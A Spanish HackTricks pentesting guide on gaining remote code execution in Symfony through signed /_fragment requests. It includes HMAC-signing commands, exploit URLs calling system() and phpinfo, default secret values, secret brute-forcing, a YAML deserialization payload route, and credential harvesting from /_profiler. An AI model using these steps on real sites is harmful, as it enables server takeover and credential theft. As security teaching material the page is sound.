35 KiB
Symfony
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección de exclusivos NFTs
-
Obtén el oficial PEASS & HackTricks swag
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Introducción
Desde su creación en 2008, el uso del framework Symfony ha ido creciendo cada vez más en aplicaciones basadas en PHP. Ahora es un componente fundamental de muchos CMS conocidos, como Drupal, Joomla!, eZPlatform (anteriormente eZPublish) o Bolt, y a menudo se utiliza para construir sitios web personalizados.
Una de las características integradas de Symfony, diseñada para manejar ESI (Edge-Side Includes), es la clase FragmentListener
. Básicamente, cuando alguien emite una solicitud a /_fragment
, este oyente establece los atributos de la solicitud a partir de los parámetros GET dados. Dado que esto permite ejecutar código PHP arbitrario (más sobre esto más adelante), la solicitud debe estar firmada utilizando un valor HMAC. La clave criptográfica secreta de este HMAC se almacena en un valor de configuración de Symfony llamado secret
.
Este valor de configuración, secret
, también se utiliza, por ejemplo, para construir tokens CSRF y tokens de recordatorio de sesión. Dado su importancia, este valor debe ser obviamente muy aleatorio.
Desafortunadamente, descubrimos que a menudo, el secreto tiene un valor predeterminado, o existen formas de obtener el valor, fuerza bruta fuera de línea o simplemente saltarse la comprobación de seguridad con la que está involucrado. Esto afecta principalmente a Bolt, eZPlatform y eZPublish.
Aunque esto puede parecer un problema de configuración benigno, hemos descubierto que los valores predeterminados, fuerza bruta o adivinables están muy, muy presentes en los CMS mencionados, así como en aplicaciones personalizadas. Esto se debe principalmente a no poner suficiente énfasis en su importancia en la documentación o guías de instalación.
Además, un atacante puede escalar vulnerabilidades de menor impacto para leer el secret
(a través de una divulgación de archivos), saltarse el proceso de firma de /_fragment
(usando un SSRF) e incluso filtrarlo a través de phpinfo()
!
En esta publicación de blog, describiremos cómo se puede obtener el secreto en varios CMS y en el marco base, y cómo obtener la ejecución de código utilizando dicho secreto.
Un poco de historia
Siendo un framework moderno, Symfony ha tenido que lidiar con la generación de subpartes de una solicitud desde su creación hasta nuestros días. Antes de /_fragment
, había /_internal
y /_proxy
, que hacían esencialmente lo mismo. Esto produjo muchas vulnerabilidades a lo largo de los años: CVE-2012-6432, CVE-2014-5245 y CVE-2015-4050, por ejemplo.
Desde Symfony 4, el secreto se genera durante la instalación y la página /_fragment
está desactivada de forma predeterminada. Uno pensaría, por lo tanto, que la conjunción de tener un secret
débil y /_fragment
habilitado sería rara. No lo es: muchos frameworks se basan en versiones antiguas de Symfony (incluso 2.x sigue siendo muy presente) e implementan un valor secret
estático o lo generan de manera deficiente. Además, muchos se basan en ESI y, como tal, habilitan la página /_fragment
. Además, como veremos, otras vulnerabilidades de menor impacto pueden permitir la volcado del secreto, incluso si se ha generado de manera segura.
Ejecución de código con la ayuda de secret
Primero demostraremos cómo un atacante, teniendo conocimiento del valor de configuración secret
, puede obtener la ejecución de código. Esto se hace para la última versión de symfony/http-kernel
, pero es similar para otras versiones.
Usando /_fragment
para ejecutar código arbitrario
Como se mencionó antes, haremos uso de la página /_fragment
.
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
class FragmentListener implements EventSubscriberInterface
{
public function onKernelRequest(RequestEvent $event)
{
$request = $event->getRequest();
# [1]
if ($this->fragmentPath !== rawurldecode($request->getPathInfo())) {
return;
}
if ($request->attributes->has('_controller')) {
// Is a sub-request: no need to parse _path but it should still be removed from query parameters as below.
$request->query->remove('_path');
return;
}
# [2]
if ($event->isMasterRequest()) {
$this->validateRequest($request);
}
# [3]
parse_str($request->query->get('_path', ''), $attributes);
$request->attributes->add($attributes);
$request->attributes->set('_route_params', array_replace($request->attributes->get('_route_params', []), $attributes));
$request->query->remove('_path');
}
}
FragmentListener:onKernelRequest
se ejecutará en cada solicitud: si la ruta de la solicitud es /_fragment
[1], el método primero verificará que la solicitud sea válida (es decir, esté correctamente firmada) y lanzará una excepción en caso contrario [2]. Si las comprobaciones de seguridad tienen éxito, analizará el parámetro _path
codificado en la URL y establecerá los atributos $request
en consecuencia.
Los atributos de solicitud no deben confundirse con los parámetros de solicitud HTTP: son valores internos, mantenidos por Symfony, que generalmente no pueden ser especificados por un usuario. Uno de estos atributos de solicitud es _controller
, que especifica qué controlador de Symfony (una tupla (clase, método) o simplemente una función) debe ser llamado. Los atributos cuyo nombre no comienza con _
son argumentos que se van a pasar al controlador. Por ejemplo, si quisiéramos llamar a este método:
class SomeClass
{
public function someMethod($firstMethodParam, $secondMethodParam)
{
...
}
}
Establecimos _path
a:
_controller=SomeClass::someMethod&firstMethodParam=test1&secondMethodParam=test2
La solicitud se vería así:
http://symfony-site.com/_fragment?_path=_controller%3DSomeClass%253A%253AsomeMethod%26firstMethodParam%3Dtest1%26secondMethodParam%3Dtest2&_hash=...
Básicamente, esto permite llamar a cualquier función o método de cualquier clase con cualquier parámetro. Dada la gran cantidad de clases que tiene Symfony, obtener la ejecución de código es trivial. Por ejemplo, podemos llamar a system()
:
http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=...
Llamar a system no funcionará siempre: consulte la sección de Exploit para obtener más detalles sobre las sutilezas de la explotación.
Un problema sigue sin resolverse: ¿cómo verifica Symfony la firma de la solicitud?
Firmar la URL
Para verificar la firma de una URL, se calcula un HMAC contra la URL completa. El hash obtenido se compara con el especificado por el usuario.
En el código, esto se hace en dos lugares:
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
class FragmentListener implements EventSubscriberInterface
{
protected function validateRequest(Request $request)
{
// is the Request safe?
if (!$request->isMethodSafe()) {
throw new AccessDeniedHttpException();
}
// is the Request signed?
if ($this->signer->checkRequest($request)) {
return;
}
# [3]
throw new AccessDeniedHttpException();
}
}
# ./vendor/symfony/http-kernel/UriSigner.php
class UriSigner
{
public function checkRequest(Request $request): bool
{
$qs = ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : '';
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
return $this->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().$qs);
}
/**
* Checks that a URI contains the correct hash.
*
* @return bool True if the URI is signed correctly, false otherwise
*/
public function check(string $uri)
{
$url = parse_url($uri);
if (isset($url['query'])) {
parse_str($url['query'], $params);
} else {
$params = [];
}
if (empty($params[$this->parameter])) {
return false;
}
$hash = $params[$this->parameter];
unset($params[$this->parameter]);
# [2]
return hash_equals($this->computeHash($this->buildUrl($url, $params)), $hash);
}
private function computeHash(string $uri): string
{
# [1]
return base64_encode(hash_hmac('sha256', $uri, $this->secret, true));
}
private function buildUrl(array $url, array $params = []): string
{
ksort($params, SORT_STRING);
$url['query'] = http_build_query($params, '', '&');
$scheme = isset($url['scheme']) ? $url['scheme'].'://' : '';
$host = isset($url['host']) ? $url['host'] : '';
$port = isset($url['port']) ? ':'.$url['port'] : '';
$user = isset($url['user']) ? $url['user'] : '';
$pass = isset($url['pass']) ? ':'.$url['pass'] : '';
$pass = ($user || $pass) ? "$pass@" : '';
$path = isset($url['path']) ? $url['path'] : '';
$query = isset($url['query']) && $url['query'] ? '?'.$url['query'] : '';
$fragment = isset($url['fragment']) ? '#'.$url['fragment'] : '';
return $scheme.$user.$pass.$host.$port.$path.$query.$fragment;
}
}
En resumen, Symfony extrae el parámetro GET _hash
, luego reconstruye la URL completa, por ejemplo https://symfony-site.com/_fragment?_path=controller%3d...%26argument1=test%26...
, calcula un HMAC de esta URL utilizando el secret
como clave [1], y lo compara con el valor hash dado [2]. Si no coinciden, se genera una excepción AccessDeniedHttpException
[3], lo que resulta en un error 403
.
Ejemplo
Para probar esto, configuremos un entorno de prueba y extraigamos el secreto (en este caso, generado aleatoriamente).
$ git clone https://github.com/symfony/skeleton.git
$ cd skeleton
$ composer install
$ sed -i -E 's/#(esi|fragment)/\1/g' config/packages/framework.yaml # Enable ESI/fragment
$ grep -F APP_SECRET .env # Find secret
APP_SECRET=50c8215b436ebfcc1d568effb624a40e
$ cd public
$ php -S 0:8000
Ahora, al visitar http://localhost:8000/_fragment
obtenemos un 403
. Ahora intentemos proporcionar una firma válida:
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', 'http://localhost:8000/_fragment', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D
Al revisar http://localhost:8000/_fragment?_hash=lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D
, ahora obtenemos un código de estado 404
. La firma era correcta, pero no especificamos ningún atributo de solicitud, por lo que Symfony no encuentra nuestro controlador.
Dado que podemos llamar a cualquier método, con cualquier argumento, podemos por ejemplo elegir system($command, $return_value)
, y proporcionar un payload de la siguiente manera:
$ page="http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull"
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', '$page', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D
Ahora podemos visitar la URL de explotación: http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D
.
A pesar del error 500
, podemos ver que nuestro comando se ejecutó.
RCE usando fragmento
Encontrando secretos
De nuevo, todo esto no importaría si los secretos no fueran obtenibles. A menudo, lo son. Describiremos varias formas de obtener la ejecución de código sin ningún conocimiento previo.
A través de vulnerabilidades
Comencemos con lo obvio: usar vulnerabilidades de menor impacto para obtener el secreto.
Lectura de archivos
Evidentemente, una vulnerabilidad de lectura de archivos podría usarse para leer los siguientes archivos y obtener secret
:
app/config/parameters.yml
.env
Como ejemplo, algunas barras de herramientas de depuración de Symfony permiten leer archivos.
PHPinfo
En versiones recientes de Symfony (3.x), secret
se almacena en .env
como APP_SECRET
. Dado que luego se importa como una variable de entorno, se pueden ver a través de una página phpinfo()
.
Filtrando APP_SECRET a través de phpinfo
Esto se puede hacer principalmente a través del paquete de perfilador de Symfony, como se muestra en la captura de pantalla.
SSRF / IP spoofing (CVE-2014-5245)
El código detrás de FragmentListener
ha evolucionado a lo largo de los años: hasta la versión 2.5.3, cuando la solicitud provenía de un proxy de confianza (léase: localhost
), se consideraría segura y, como tal, no se comprobaría el hash. Un SSRF, por ejemplo, puede permitir ejecutar código de inmediato, independientemente de tener secret
o no. Esto afecta notablemente a eZPublish hasta 2014.7.
# ./vendor/symfony/symfony/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php
# Symfony 2.3.18
class FragmentListener implements EventSubscriberInterface
{
protected function validateRequest(Request $request)
{
// is the Request safe?
if (!$request->isMethodSafe()) {
throw new AccessDeniedHttpException();
}
// does the Request come from a trusted IP?
$trustedIps = array_merge($this->getLocalIpAddresses(), $request->getTrustedProxies());
$remoteAddress = $request->server->get('REMOTE_ADDR');
if (IpUtils::checkIp($remoteAddress, $trustedIps)) {
return;
}
// is the Request signed?
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
if ($this->signer->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().(null !== ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : ''))) {
return;
}
throw new AccessDeniedHttpException();
}
protected function getLocalIpAddresses()
{
return array('127.0.0.1', 'fe80::1', '::1');
}
Es cierto que todas esas técnicas requieren otra vulnerabilidad. Sumergámonos en un vector aún mejor: los valores predeterminados.
A través de valores predeterminados
Symfony <= 3.4.43: ThisTokenIsNotSoSecretChangeIt
Al configurar un sitio web de Symfony, el primer paso es instalar el esqueleto symfony-standard. Al instalarlo, se solicitan algunos valores de configuración. Por defecto, la clave es ThisTokenIsNotSoSecretChangeIt
.
Instalación de Symfony a través de composer
En versiones posteriores (4+), la clave secreta se genera de forma segura.
ezPlatform 3.x (último): ff6dc61a329dc96652bb092ec58981f7
ezPlatform, el sucesor de ezPublish, todavía utiliza Symfony. El 10 de junio de 2019, un commit estableció la clave predeterminada en ff6dc61a329dc96652bb092ec58981f7
. Las versiones vulnerables van desde 3.0-alpha1 hasta 3.1.1 (actual).
Aunque la documentación indica que se debe cambiar la clave secreta, no se impone.
ezPlatform 2.x: ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt
Al igual que el esqueleto de Symfony, se le pedirá que ingrese una clave secreta durante la instalación. El valor predeterminado es ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt
.
Bolt CMS <= 3.7 (último): md5(__DIR__)
Bolt CMS utiliza Silex, un micro-framework obsoleto basado en Symfony. Configura la clave secreta utilizando este cálculo:
# ./vendor/silex/silex/src/Silex/Provider/HttpFragmentServiceProvider.php
$app['uri_signer.secret'] = md5(__DIR__);
# ./vendor/silex/silex/src/Silex/Provider/FormServiceProvider.php
$app['form.secret'] = md5(__DIR__);
Como tal, se puede adivinar el secreto, o utilizar una vulnerabilidad de divulgación de ruta completa para calcularlo.
Si no tuvo éxito con las claves secretas predeterminadas, no se desespere: hay otras formas.
Fuerza bruta
Dado que el secreto a menudo se establece manualmente (en lugar de generarse al azar), las personas a menudo usarán una frase de contraseña en lugar de un valor aleatorio seguro, lo que lo hace susceptible a la fuerza bruta si tenemos un hash para aplicar la fuerza bruta. Obviamente, una URL válida /_fragment
, como la generada por Symfony, nos proporcionaría una tupla de mensaje-hash válida para aplicar la fuerza bruta al secreto.
Se incluye una solicitud válida al fragmento en la respuesta
Al comienzo de esta publicación de blog, dijimos que el secreto de Symfony tenía varios usos. Uno de esos usos es que también se utiliza para generar tokens CSRF. Otro uso de secret
es firmar cookies de recordatorio. En algunos casos, un atacante puede usar su propio token CSRF o cookie de recordatorio para aplicar la fuerza bruta al valor de secret
.
La ingeniería inversa de la construcción de esos tokens se deja como ejercicio para el lector.
Yendo más allá: eZPublish
Como ejemplo de cómo se pueden aplicar la fuerza bruta a los secretos para lograr la ejecución de código, veremos cómo podemos descubrir el secreto de eZPublish 2014.07.
Encontrar material para la fuerza bruta
eZPublish genera sus tokens CSRF de esta manera:
# ./ezpublish_legacy/extension/ezformtoken/event/ezxformtoken.php
self::$token = sha1( self::getSecret() . self::getIntention() . session_id() );
Para construir este token, eZP utiliza dos valores que conocemos y el secreto: getIntention()
es la acción que el usuario está intentando (autenticar
, por ejemplo), session_id()
es el ID de sesión de PHP y getSecret()
, bueno, es el secreto
de Symfony.
Dado que los tokens CSRF se pueden encontrar en algunos formularios, ahora tenemos el material para hacer fuerza bruta en el secreto.
Desafortunadamente, ezPublish incorporó un paquete de sensiolabs, sensio/distribution-bundle. Este paquete se asegura de que la clave secreta sea aleatoria. La genera así, al momento de la instalación:
# ./vendor/sensio/distribution-bundle/Sensio/Bundle/DistributionBundle/Configurator/Step/SecretStep.php
private function generateRandomSecret()
{
return hash('sha1', uniqid(mt_rand()));
}
Esto parece ser muy difícil de atacar por fuerza bruta: mt_rand()
puede generar 231 valores diferentes, y uniqid()
se construye a partir de la marca de tiempo actual (con microsegundos).
// Simplified uniqid code
struct timeval tv;
gettimeofday(&tv, NULL);
return strpprintf(0, "%s%08x%05x", prefix, tv.tv_sec, tv.tv_usec);
Revelando la marca de tiempo
Afortunadamente, sabemos que este secreto se genera en el último paso de la instalación, justo después de que se configure el sitio web. Esto significa que probablemente podamos filtrar la marca de tiempo utilizada para generar este hash.
Una forma de hacerlo es utilizando los registros (por ejemplo /var/log/storage.log
); se puede filtrar la primera vez que se creó una entrada en la caché. La entrada de caché se crea justo después de que se llama a generateRandomSecret()
.
Contenido de registro de muestra: la marca de tiempo es similar a la utilizada para calcular el secreto
Si los registros no están disponibles, se puede utilizar el potente motor de búsqueda de eZPublish para encontrar la hora de creación del primer elemento del sitio web. De hecho, cuando se crea el sitio, se colocan muchas marcas de tiempo en la base de datos. Esto significa que la marca de tiempo de los datos iniciales del sitio eZPublish es la misma que la utilizada para calcular uniqid()
. Podemos buscar el ContentObject landing_page
y averiguar su marca de tiempo.
Descifrando los fragmentos faltantes
Ahora conocemos la marca de tiempo utilizada para calcular el secreto, así como un hash de la siguiente forma:
$random_value = mt_rand();
$timestamp_hex = sprintf("%08x%05x", $known_timestamp, $microseconds);
$known_plaintext = '<intention><sessionID>';
$known_hash = sha1(sha1(mt_rand() . $timestamp_hex) . $known_plaintext);
Esto nos deja con un total de 231 * 106 posibilidades. Parece factible con hashcat y un buen conjunto de GPUs, pero hashcat no proporciona un kernel sha1(sha1($pass).$salt)
. ¡Afortunadamente, lo implementamos! Puedes encontrar la solicitud de extracción aquí.
Usando nuestra máquina de cracking, que cuenta con 8 GPUs, podemos crackear este hash en menos de 20 horas.
Después de obtener el hash, podemos usar /_fragment
para ejecutar código.
Conclusión
Symfony es ahora un componente central de muchas aplicaciones PHP. Como tal, cualquier riesgo de seguridad que afecte al framework afecta a muchos sitios web. Como se demostró en este artículo, ya sea una clave débil o una vulnerabilidad de menor impacto, permite a los atacantes obtener ejecución remota de código.
Como equipo azul, debes revisar todos tus sitios web dependientes de Symfony. El software actualizado no puede descartarse para vulnerabilidades, ya que la clave secreta se genera en la primera instalación del producto. Por lo tanto, si creaste un sitio web basado en Symfony 3.x hace unos años y lo mantuviste actualizado en el camino, es probable que la clave secreta siga siendo la predeterminada.
Explotación
Teoría
Por un lado, tenemos algunas cosas de las que preocuparnos al explotar esta vulnerabilidad:
- El HMAC se calcula utilizando la URL completa. Si el sitio web está detrás de un proxy inverso, necesitamos usar la URL interna del servicio en lugar de la que estamos enviando nuestra carga útil. Por ejemplo, la URL interna podría ser a través de HTTP en lugar de HTTPS.
- El algoritmo HMAC ha cambiado a lo largo de los años: antes era SHA-1 y ahora es SHA-256.
- Dado que Symfony elimina el parámetro
_hash
de la solicitud y luego genera la URL nuevamente, debemos calcular el hash en la misma URL que lo hace. - Se pueden usar muchas claves secretas, por lo que debemos verificarlas todas.
- En algunas versiones de PHP, no podemos llamar a funciones que tienen parámetros "por referencia", como
system($command, &$return_value)
. - En algunas versiones de Symfony,
_controller
no puede ser una función, tiene que ser un método. Necesitamos encontrar un método de Symfony que nos permita ejecutar código.
Por otro lado, podemos aprovechar algunas cosas:
- Al golpear
/_fragment
sin parámetros o con un hash no válido, debería devolver un403
. - Al golpear
/_fragment
con un hash válido pero sin un controlador válido, debería dar un500
.
El último punto nos permite probar valores secretos sin preocuparnos por qué función o método vamos a llamar después.
Práctica
Digamos que estamos atacando https://target.com/_fragment
. Para poder firmar correctamente una URL, necesitamos conocer:
- URL interna: podría ser
https://target.com/_fragment
, o tal vezhttp://target.com/_fragment
, o algo completamente diferente (por ejemplo,http://target.website.internal
), que no podemos adivinar. - Clave secreta: tenemos una lista de claves secretas habituales, como
ThisTokenIsNotSoSecretChangeIt
,ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt
, etc. - Algoritmo: SHA1 o SHA256
No necesitamos preocuparnos por la carga útil efectiva (el contenido de _path
) todavía, porque una URL correctamente firmada no dará lugar a que se lance una AccessDeniedHttpException
y, como tal, no dará lugar a un 403
. Por lo tanto, el exploit probará cada combinación (algoritmo, URL, secreto)
, generará una URL y comprobará si no devuelve un código de estado 403
.
Una solicitud válida a /_fragment
, sin el parámetro _path
En este punto, podemos firmar cualquier URL /_fragment
, lo que significa que es una RCE garantizada. Es solo una cuestión de qué llamar.
Luego, necesitamos averiguar si podemos llamar a una función directamente o si necesitamos usar un método de clase. Primero podemos intentar la forma más directa, utilizando una función como phpinfo ([ int $what = INFO_ALL ] )
(documentación). El parámetro GET _path
se vería así:
_controller=phpinfo
&what=-1
Y la URL se vería así:
http://target.com/_fragment?_path=_controller%3Dphpinfo%26what%3D-1&_hash=...
Si la respuesta HTTP muestra una página phpinfo()
, hemos ganado. Entonces podemos intentar usar otra función, como assert
:
Ejemplo de salida usando _controller=assert
De lo contrario, esto significa que necesitaremos usar un método de clase en su lugar. Un buen candidato para esto es Symfony\Component\Yaml\Inline::parse
, que es una clase integrada de Symfony, y como tal está presente en sitios web de Symfony.
Obviamente, este método analiza una cadena de entrada YAML. El analizador YAML de Symfony admite la etiqueta php/object
, que convertirá una cadena de entrada serializada en un objeto usando unserialize()
. ¡Esto nos permite usar nuestra herramienta PHP favorita, PHPGGC!
El prototipo del método ha cambiado a lo largo de los años. Por ejemplo, aquí hay tres prototipos diferentes:
public static function parse($value, $flags, $references);
public static function parse($value, $exceptionOnInvalidType, $objectSupport);
public static function parse($value, $exceptionOnInvalidType, $objectSupport, $objectForMap, $references);
En lugar de construir _path
para cada uno de estos, podemos aprovechar el hecho de que si damos un argumento cuyo nombre no coincide con el prototipo del método, será ignorado. Por lo tanto, podemos agregar todos los argumentos posibles al método, sin preocuparnos por el prototipo real.
Por lo tanto, podemos construir _path
de la siguiente manera:
_controller=Symfony\Component\Yaml\Inline::parse
&value=!php/object O:32:"Monolog\Handler\SyslogUdpHandler":...
&flags=516
&exceptionOnInvalidType=0
&objectSupport=1
&objectForMap=0
&references=
&flags=516
Una vez más, podemos intentar con phpinfo()
y ver si funciona. Si lo hace, podemos usar system()
en su lugar.
Ejemplo de salida usando Inline::parse
con una carga útil serializada
Por lo tanto, el exploit recorrerá todas las posibles combinaciones de variables y luego probará los dos métodos de explotación. El código está disponible en nuestro GitHub.
Accediendo a la información de symfony /_profiler
Como se puede ver en la captura de pantalla anterior, hay un logotipo de sf
en la esquina inferior derecha de la página. Este logotipo se muestra cuando Symfony está en modo de depuración. Hay algunos casos en los que este logotipo no aparece, así que intente acceder a /_profiler
y verá la página como se muestra a continuación.
Esta función se llama Symfony Profiler, y no hay mucha información sobre esta función en Internet. La intención de esta función es muy clara; ayuda a depurar cuando hay un error o un fallo. Por supuesto, esta función solo se puede utilizar cuando se habilita el modo de depuración.
El propio framework Symfony es muy seguro, pero habilitar el modo de depuración hará que este framework sea extremadamente vulnerable. Por ejemplo, Profiler tiene una función llamada Profile Search, como se muestra en la siguiente captura de pantalla.
Como se puede ver en la captura de pantalla anterior, se pueden acceder a todas las solicitudes enviadas al servidor. Al hacer clic en los hashes del token, se pueden leer todos los parámetros POST, como se ve en la siguiente captura de pantalla. Con esta función, podemos secuestrar las credenciales de la cuenta del administrador y del usuario.
Otros puntos finales habilitados para la depuración
También debe comprobar estas URL:
Referencias
- https://www.ambionics.io/blog/symfony-secret-fragment
- https://flattsecurity.hatenablog.com/entry/2020/11/02/124807
- https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección de exclusivos NFTs
-
Consigue el swag oficial de PEASS & HackTricks
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.